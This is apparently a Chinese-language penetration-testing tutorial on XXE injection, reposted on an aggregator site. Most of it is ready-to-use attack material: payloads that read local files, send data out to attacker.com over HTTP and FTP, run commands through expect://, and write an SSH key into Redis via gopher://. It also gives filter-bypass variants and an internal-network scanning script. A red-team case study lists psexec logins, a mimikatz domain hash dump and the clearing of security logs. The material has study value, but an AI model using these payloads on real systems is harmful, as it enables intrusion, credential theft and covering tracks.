当前位置: 首页 > news >正文

XXE 注入漏洞全解析:从原理到实战

XXE 注入漏洞全解析:从原理到红队实战(含 SRC 挖掘与护网渗透技巧)

免责声明

  1. 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
  2. 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
  3. 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
  4. 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。

XXE(XML External Entity Injection,XML 外部实体注入)是一种常被低估却极具杀伤力的漏洞 —— 它通过滥用 XML 解析器对外部实体的处理机制,可实现读取本地文件、探测内网、攻击后端系统等深度渗透效果。本文将从 XXE 的核心原理出发,系统梳理其分类、payload 构造、SRC 挖掘策略,重点解析在实战与护网中如何利用 XXE 突破边界,并结合真实案例阐述攻击链路,帮助读者建立从 “漏洞发现” 到 “实战利用” 的完整认知。

一、XXE 核心原理:从 XML 解析看外部实体的危害

XXE 漏洞源于XML 解析器对外部实体的不安全处理。当 XML 文档中包含外部实体引用,且解析器未禁用外部实体加载时,攻击者可通过构造恶意 XML 内容,诱导解析器加载外部资源(如本地文件、内网服务),从而窃取数据或探测网络。

1. XML 与实体基础

XML(可扩展标记语言)用于数据存储和传输,其结构由元素、属性、实体组成。实体是 XML 中的 “变量”,可分为:

  • 内部实体:定义在 XML 文档内部,如``,引用时用&myentity;
  • 外部实体:定义在外部文件中,通过SYSTEM关键字引用,如``,解析时会加载外部资源。

XXE 漏洞的核心就是外部实体被恶意滥用—— 当解析器允许加载外部实体时,攻击者可通过外部实体引用读取文件、访问内网服务等。

2. XXE 的危害与攻击链路

XXE 的攻击链路可简化为:

发现XML输入点 → 构造恶意XML(含外部实体) → 服务器解析XML → 触发外部实体加载(读取文件/访问内网) → 获取数据/探测信息

其核心危害包括:

  • 读取本地文件:如/etc/passwdC:\Windows\system32\drivers\etc\hosts
  • 探测内网端口:通过访问http://192.168.1.1:80判断内网服务是否存活;
  • 攻击后端系统:结合内网服务漏洞(如 Redis 未授权、JBoss 反序列化);
  • 远程代码执行(特定场景):在支持expect://等协议的环境(如 PHP+libxml2)中执行命令。

二、XXE 语句大全:从基础到绕过(按场景分类)

XXE payload 的核心是定义恶意外部实体并引用,根据目标解析器的配置(如是否禁用外部实体、支持的协议)和过滤规则,需灵活构造。以下是实战中高频使用的 payload 及适用场景:

1. 基础型 XXE(无过滤场景)

适用于 XML 解析器未禁用外部实体,且无输入过滤的场景,直接引用外部实体读取文件:

(1)读取本地文件(最常用)
<!-- 标准外部实体引用 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">  <!-- Linux系统 -->
]>
<root>&xxe;</root><!-- 读取Windows文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root>&xxe;</root><!-- 读取配置文件(如数据库密码) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///var/www/config.php">
]>
<root>&xxe;</root>
(2)引用外部 DTD 文件(拆分 payload,绕过简单过滤)

当目标对内部 DTD(`内的定义)过滤严格时,可将实体定义放在外部 DTD 文件中,通过 URL 引用:

<!-- 本地XML文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "http://attacker.com/evil.dtd">  <!-- 引用外部DTD -->
<root>&xxe;</root><!-- 攻击者服务器上的evil.dtd -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">  <!-- 定义外部实体 -->

2. 盲注型 XXE(无回显场景)

当 XML 解析结果不直接回显(如仅返回 “成功 / 失败”),需通过 “外带数据”(将结果发送到攻击者服务器)获取信息,即 “盲 XXE”:

(1)基于 HTTP 的外带数据
<!-- 本地XML -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % file SYSTEM "file:///etc/passwd">  <!-- 定义参数实体,读取文件 --><!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/log?data=%file;'>">  <!-- 将文件内容作为URL参数发送 -->%eval;  <!-- 执行eval实体 -->%exfiltrate;  <!-- 执行exfiltrate实体,发送数据 -->
]>
<root></root>

原理

  1. %file读取/etc/passwd内容;
  2. %eval定义实体%exfiltrate,其值为含%file的 URL;
  3. 解析时%exfiltrate被执行,将文件内容发送到attacker.com/log
(2)基于 FTP 的外带数据(适用于 HTTP 被拦截场景)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'ftp://attacker.com:2121/%file;'>">%eval;%exfiltrate;
]>
<root></root>

攻击者需在 VPS 上启动 FTP 服务器监听 2121 端口,接收包含文件内容的连接请求。

3. 协议扩展型 XXE(跨场景利用)

不同 XML 解析器支持的协议不同,需根据后端语言选择合适的协议(如 Java 支持jar://,PHP 支持expect://):

后端语言 / 解析器支持的协议(部分)典型用途
Java( Xerces)file://http://https://jar://netdoc://读取文件、访问内网 HTTP 服务、加载恶意 JAR 包
PHP(libxml2)file://http://ftp://expect://(需编译时启用)读取文件、执行命令(expect 协议)
Python(lxml)file://http://ftp://读取文件、探测内网服务
.NET(XmlReader)file://http://读取文件、访问内网服务
(1)Java 环境:利用jar://协议攻击
<!-- 加载恶意JAR包(需配合Java反序列化漏洞) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "jar://http://attacker.com/evil.jar!/payload">
]>
<root>&xxe;</root>

若后端存在反序列化漏洞,恶意 JAR 包中的 payload 可触发代码执行。

(2)PHP 环境:利用expect://协议执行命令(需 libxml2 支持)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://id">  <!-- 执行id命令 -->
]>
<root>&xxe;</root>

注意:仅当 PHP 编译时启用--with-expect,且 libxml2 版本 < 2.9.0(默认禁用外部实体)时有效。

4. 绕过过滤的 XXE(实战高频)

当目标对SYSTEMfile://等关键词过滤时,可通过以下方式绕过:

(1)关键词变形与编码
<!-- 大小写混淆(针对大小写敏感的过滤) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe sYstEm "file:///etc/passwd">  <!-- SYSTEM大小写混合 -->
]>
<root>&xxe;</root><!-- 实体编码(将关键词转为HTML实体) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe &#83;&#89;&#83;&#84;&#69;&#77; "file:///etc/passwd">  <!-- SYSTEM的HTML实体编码 -->
]>
<root>&xxe;</root>
(2)嵌套实体(绕过对`的直接过滤)
<!-- 外层实体引用内层实体,拆分定义 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY a SYSTEM "file:///etc/passwd"><!ENTITY b "&a;">  <!-- 嵌套引用 -->
]>
<root>&b;</root>
(3)利用内部子集与参数实体
<!-- 用参数实体(%开头)绕过对普通实体的过滤 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % xxe SYSTEM "file:///etc/passwd"><!ENTITY yyy "%xxe;">  <!-- 参数实体需通过普通实体引用 -->
]>
<root>&yyy;</root>

5. 特殊场景 XXE(文件上传、API 等)

(1)基于文件上传的 XXE(如 docx、pdf、svg 等)

许多文件格式本质是 XML 或包含 XML(如 docx 是 zip 压缩包,内含word/document.xml),可通过修改文件中的 XML 注入 XXE:

<!-- 修改docx中的word/document.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document><w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>  <!-- 引用实体 --></w:body>
</w:document>

上传修改后的 docx 文件,若服务器解析文件内容(如预览、转换格式),则会触发 XXE。

(2)SOAP API 中的 XXE(WebService 接口)

SOAP 协议基于 XML,API 请求体为 XML 格式,易存在 XXE:

<!-- SOAP请求中的XXE -->
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.example.com"><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><soapenv:Header/><soapenv:Body><ser:query><ser:param>&xxe;</ser:param>  <!-- 引用实体 --></ser:query></soapenv:Body>
</soapenv:Envelope>

三、SRC 中 XXE 漏洞的高效挖掘策略

XXE 在 SRC 中属于中高危漏洞(尤其能读取敏感文件时),但因测试门槛高于 XSS,竞争较少。挖掘需聚焦 “XML 输入场景”,结合精准测试流程。

1. 识别潜在 XXE 输入点(优先测试这些场景)

  • API 接口:接受 XML 格式请求的接口(如Content-Type: application/xml);
  • 文件上传:支持 XML、SVG、DOCX、PDF、PPTX 等格式的上传功能(这些格式含 XML 组件);
  • 配置导入:系统设置中 “导入配置” 功能(通常接收 XML 文件);
  • WebService/SOAP 服务:基于 SOAP 协议的接口(请求体为 XML);
  • RSS/Atom 订阅:处理 XML 格式订阅源的功能。

2. 测试流程(从验证到证明危害)

(1)基础验证(判断是否支持外部实体)

向 XML 输入点发送含基础外部实体的请求,观察是否回显文件内容:

<!-- 测试请求 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">  <!-- Linux --><!-- 若为Windows,替换为"file:///C:/Windows/win.ini" -->
]>
<root>&test;</root>
  • 若响应中包含/etc/passwd内容(如root:x:0:0:root:/root:/bin/bash),则存在 XXE;
  • 若无回显,进入盲 XXE 测试。
(2)盲 XXE 验证(无回显场景)

构造外带数据的 payload,在攻击者 VPS 上监听请求:

<!-- 盲XXE测试payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker-vps:8080/?data=%file;'>">%eval;%exfiltrate;
]>
<root></root>

在 VPS 上启动 HTTP 服务器(如python -m http.server 8080),若收到含/etc/passwd内容的请求,证明存在盲 XXE。

(3)证明危害(SRC 提交关键)
  • 读取敏感文件:优先读取/etc/passwd/proc/self/environ(环境变量)、C:\Windows\system32\drivers\etc\hosts等,截图响应作为证明;
  • 内网探测:若能访问http://192.168.1.1,证明可探测内网,提升漏洞评分。

3. SRC 提交技巧(提高审核通过率)

  • 明确场景:说明漏洞位置(如 “/api/user 接口,Content-Type: application/xml”);
  • 复现步骤:提供完整的 XML 请求包(含 payload)和响应结果;
  • 危害证明:附上读取到的敏感文件截图(如/etc/passwd),或盲 XXE 的 VPS 日志截图;
  • 区分类型:标注是 “有回显 XXE” 还是 “盲 XXE”,盲 XXE 需说明数据外带方式。

四、实战与护网中 XXE 的深度利用(红队进阶技巧)

在实战和护网中,XXE 的价值在于突破网络边界—— 通过 XML 解析器的 “信任”,实现从外网到内网的探测与攻击,尤其适合攻击防御严格的目标。

1. 利用 XXE 读取敏感文件(获取初始突破口)

场景

目标网站的用户头像上传功能支持 SVG 格式(SVG 是 XML 文件),且服务器会解析 SVG 内容生成预览图。

实战步骤
  1. 构造恶意 SVG 文件

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///var/www/html/config/database.php">  <!-- 读取数据库配置 -->
    ]>
    <svg width="100" height="100"><text x="10" y="20">&xxe;</text>  <!-- 引用实体,将配置内容嵌入SVG -->
    </svg>
    
  2. 上传 SVG 并查看预览

    • 上传文件后,服务器生成预览图,解析 SVG 时触发 XXE;
    • 预览图中显示数据库配置内容(如$dbpass = 'P@ssw0rd123')。
  3. 后续利用:使用获取的数据库账号密码登录数据库,进一步读取用户数据或写入 Webshell。

2. 利用 XXE 探测内网(突破网络隔离)

场景

目标网站部署在 DMZ 区(外网可达),但其 XML 解析器可访问内网(192.168.0.0/24),需通过 XXE 探测内网存活主机和服务。

实战步骤
  1. 构造内网探测 payload

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [<!-- 探测192.168.0.1-10的80端口 --><!ENTITY % probe "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker-vps:8080/probe?ip=192.168.0.%d&port=80'>">%probe;%exfiltrate;  <!-- 依次替换%d为1-10,发送10个请求 -->
    ]>
    <root></root>
    
  2. 批量发送请求并分析响应时间

    • 向目标 XML 接口发送针对 192.168.0.1-255 的探测 payload;
    • 攻击者 VPS 记录请求到达时间:若某 IP 的请求响应时间明显较短,说明该 IP:80 端口存活(服务响应快)。
  3. 发现内网关键资产

    • 日志显示 192.168.0.10:8080 有响应,推测是内网管理系统;
    • 进一步构造 payload 访问该系统:``,获取登录页面源码,寻找弱口令或注入点。

3. 利用 XXE 结合内网服务漏洞(深化攻击)

场景

通过 XXE 探测发现内网存在 Redis 服务(192.168.0.20:6379,未授权访问),需利用 XXE 向 Redis 写入恶意数据。

实战步骤
  1. 构造攻击 Redis 的 XXE payload

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [<!-- 向Redis发送命令:写入SSH公钥到/root/.ssh/authorized_keys --><!ENTITY xxe SYSTEM "gopher://192.168.0.20:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$45%0D%0A%0A%0Assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...%0A%0A%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/root/.ssh/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$15%0D%0Aauthorized_keys%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A">
    ]>
    <root>&xxe;</root>
    

    原理gopher://协议可模拟 TCP 请求,向 Redis 发送 “写入 SSH 公钥” 的命令序列。

  2. 执行 payload 并验证

    • 目标 XML 解析器执行 payload,向 Redis 发送命令;
    • 攻击者通过 SSH 登录内网 Redis 服务器:ssh root@192.168.0.20(无需密码,因已写入公钥)。
  3. 横向移动:从 Redis 服务器进一步扫描内网其他主机,获取域内权限(护网中此步骤可大幅得分)。

4. 实战工具与利用框架

(1)Burp Suite(XXE 测试必备)
  • 拦截与修改 XML 请求:在 “Proxy” 模块拦截 XML 格式的请求,手动插入 XXE payload;
  • 插件辅助:安装 “XML External Entity Scanner” 插件,自动检测 XXE 漏洞;
  • 重放测试:在 “Repeater” 模块反复调整 payload,测试不同协议和文件路径。
(2)XXEinjector(自动化盲 XXE 测试)

一款专门用于盲 XXE 测试的工具,支持外带数据提取、内网扫描等:

# 安装
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
chmod +x XXEinjector.rb# 测试盲XXE(从文件读取数据并外带)
ruby XXEinjector.rb -i input.xml -o output.xml -p http -u http://attacker-vps:8080 -f /etc/passwd
  • input.xml:原始 XML 请求模板;
  • output.xml:生成的恶意 XML;
  • -u:攻击者接收数据的 URL。
(3)自定义 Python 脚本(批量探测内网)
import requests# 内网IP段和端口
ips = [f"192.168.0.{i}" for i in range(1, 255)]
ports = [80, 443, 3306, 6379, 8080]# XML模板
xml_template = """<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://{ip}:{port}">
]>
<root>&xxe;</root>
"""# 目标接口
url = "http://target.com/api/parse"for ip in ips:for port in ports:xml = xml_template.format(ip=ip, port=port)try:response = requests.post(url, data=xml, headers={"Content-Type": "application/xml"}, timeout=5)print(f"Tested {ip}:{port} - Status: {response.status_code}")except Exception as e:print(f"Tested {ip}:{port} - Error: {str(e)}")

脚本批量测试内网 IP 和端口,通过响应状态判断服务是否存活。

五、护网行动中 XXE 的防御与反制(红蓝对抗视角)

在护网中,蓝队的防御措施会直接影响 XXE 的利用效果,红队需针对性绕过:

1. 蓝队常见防御措施

  • 禁用外部实体:配置 XML 解析器禁用外部实体(如 Java 中DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true));
  • 过滤关键词:WAF 拦截含DOCTYPESYSTEMfile://等的 XML 请求;
  • 限制协议:禁止解析器使用file://gopher://等危险协议;
  • 使用安全解析库:如 Python 的defusedxml替代lxml/xml.etree

2. 红队绕过技巧

  • 绕过外部实体禁用:利用内部实体嵌套或参数实体(部分解析器对参数实体过滤不严);
  • 绕过 WAF 关键词过滤:使用大小写混淆、实体编码、拆分DOCTYPE(如``);
  • 利用协议变种:如file:///改为file:/../../(路径穿越)、http://改为http://@(URL 混淆);
  • 攻击文件上传:通过修改 docx、svg 等文件中的 XML,绕过对 API 接口的直接过滤。

六、实战案例:某政务系统 XXE 渗透全流程(护网红队视角)

背景

目标为某政务系统(gov.example.com),护网中发现其 “数据导入” 功能支持 XML 格式配置文件,且存在 XXE 漏洞。

渗透步骤

  1. 漏洞验证
    • 构造含/etc/passwd引用的 XML 文件,上传后查看返回结果,发现响应中包含root:x:0:0:root:/root:/bin/bash,确认有回显 XXE。
  2. 读取敏感文件
    • 上传读取/proc/self/environ的 XML(环境变量文件),获取数据库连接信息:DB_HOST=192.168.10.5; DB_USER=admin; DB_PASS=Gov@2024!
    • 读取/etc/hosts,发现内网域名dc.gov.example.com(推测为域控)。
  3. 内网探测与攻击
    • 构造探测192.168.10.5:3306(数据库)的 payload,确认服务存活;
    • 利用获取的数据库账号密码远程登录 MySQL,读取user表,获取管理员哈希(admin:$1$xyz...);
    • 通过哈希破解工具(如 Hashcat)得到明文密码Admin@Gov2024
  4. 横向移动至域控
    • 使用破解的密码通过psexec登录域控(dc.gov.example.com):psexec \\dc.gov.example.com -u admin -p Admin@Gov2024 cmd
    • 获取域控权限后,导出域内所有用户哈希(mimikatz.exe "lsadump::dcsync /domain:gov.example.com /all /csv"),完成护网目标。
  5. 痕迹清理
    • 删除上传的恶意 XML 文件,清理数据库登录日志;
    • 清除域控上的命令执行痕迹(wevtutil cl Security)。

七、总结:XXE 的核心价值与红队思维

XXE 的本质是 “XML 解析器的信任滥用”,其危害深度远超 “读取文件”—— 在红队视角中,它是突破网络边界的 “隐形通道”,能借助服务器的内网访问权限,实现从外网到内网的探测与攻击。

在 SRC 挖掘中,XXE 的高价值点在于 “文件上传场景”(如 SVG、DOCX)和 “管理员功能”(如配置导入);在实战与护网中,XXE 的核心用法是 “内网探测 + 敏感信息窃取”,结合内网服务漏洞(如 Redis、MySQL)可实现深度渗透。

红队工程师需建立 “协议感知” 思维:不同后端语言支持的协议不同,需针对性构造 payload(如 Java 用jar://,PHP 尝试expect://);同时,需关注 “无回显场景” 的盲 XXE 利用,掌握数据外带技巧(HTTP/FTP/Gopher)。

重要提示:XXE 攻击可能导致敏感数据泄露和内网入侵,所有测试必须在合法授权下进行,严格遵守《网络安全法》及相关法规。

八、XXE测试注入脚本语句

1.<?xml version="1.0"?><change-log><text>&lt;script&gt;alert(&quot;Hello World&quot;)&lt;/script&gt;</text></change-log>
2.<test> $lDOMDocument->textContent=<![CDATA[<]]>script<![CDATA[>]]>alert('xxe')<![CDATA[<]]>/script<![CDATA[>]]> </test>
3.<?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "robots.txt"> ]> <change-log> <text>&systemEntity;</text>; </change-log>
4.	[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn ; 
5.<?xml version="1.0"?><!DOCTYPE change-log [<!ENTITY systemEntity SYSTEM "../../../../boot.ini">]><change-log><text>&systemEntity;</text></change-log>
6.<?xml version="1.0"?><!DOCTYPE change-log [<!ENTITY systemEntity SYSTEM "robots.txt">]><change-log><text>&systemEntity;</text></change-log>
7.<change-log><text>&systemEntity;</text></change-log>
8.<!ENTITY systemEntity SYSTEM "robots.txt">
9.<?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"><!ENTITY myQuote "&quot;"> ]><change-log><text>&myQuote;Hello &myEntity;&myQuote;</text></change-log>
10.	<?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"> ]><change-log><text>Hello &myEntity;</text></change-log>
11.<?xml version="1.0"?><change-log><text>&quot;Hello World&quot;</text></change-log>
12.	<?xml version="1.0"?><change-log><text>Hello World</text></change-log>
http://www.dtcms.com/a/469769.html

相关文章:

  • edu div2 183个人笔记(目前只补到D,后续可能会更新)
  • MDK启动文件堆栈空间手动指定地址方法和验证
  • Leetcode每日一练--27
  • GNSS与单北斗变形监测一体机在基础设施安全中的应用分析
  • 西安网站建设公司排国外网站后台模板
  • 郑州网站顾问热狗网python的网站开发
  • Linux进程第十一讲——进程优先级的本质与Linux实现
  • Java Redis “持久化”面试清单(含超通俗生活案例与深度理解)
  • Linux一切皆文件的意义
  • 网站怎样建立数据库连接做网站公司职员工资
  • 【javascript】js使用技巧笔记
  • 复现嘉立创小项目之直流稳压电源
  • Kubernetes 之海,Go 之舟:避开那些吞噬性能的隐形暗礁
  • 基于独立成分分析(ICA)的图像分离技术实现
  • 网站建站如何做seo有免费的网站服务器吗
  • 使用LangChain创建智能Agent完整指南
  • 江苏省网站备案电话怎样做网站开发
  • Qt:窗口与文件绑定
  • git常用命令大全
  • 算法 - 递归
  • 软考-系统架构设计师 系统架构评估详细讲解
  • Redis 黑马skyout
  • 【Unity】构建超实用的有限状态机管理类
  • redis基础命令和深入理解底层
  • Java中第三方报告库-Allure
  • 高端公司网站建设连云港做网站制作
  • Google 智能体设计模式:优先级排序
  • 网站做不做百度云加速手游代理平台哪个好
  • 【国内电子数据取证厂商龙信科技】邮件如何取证?
  • 手机网站模板 psd做网站建设分哪些类型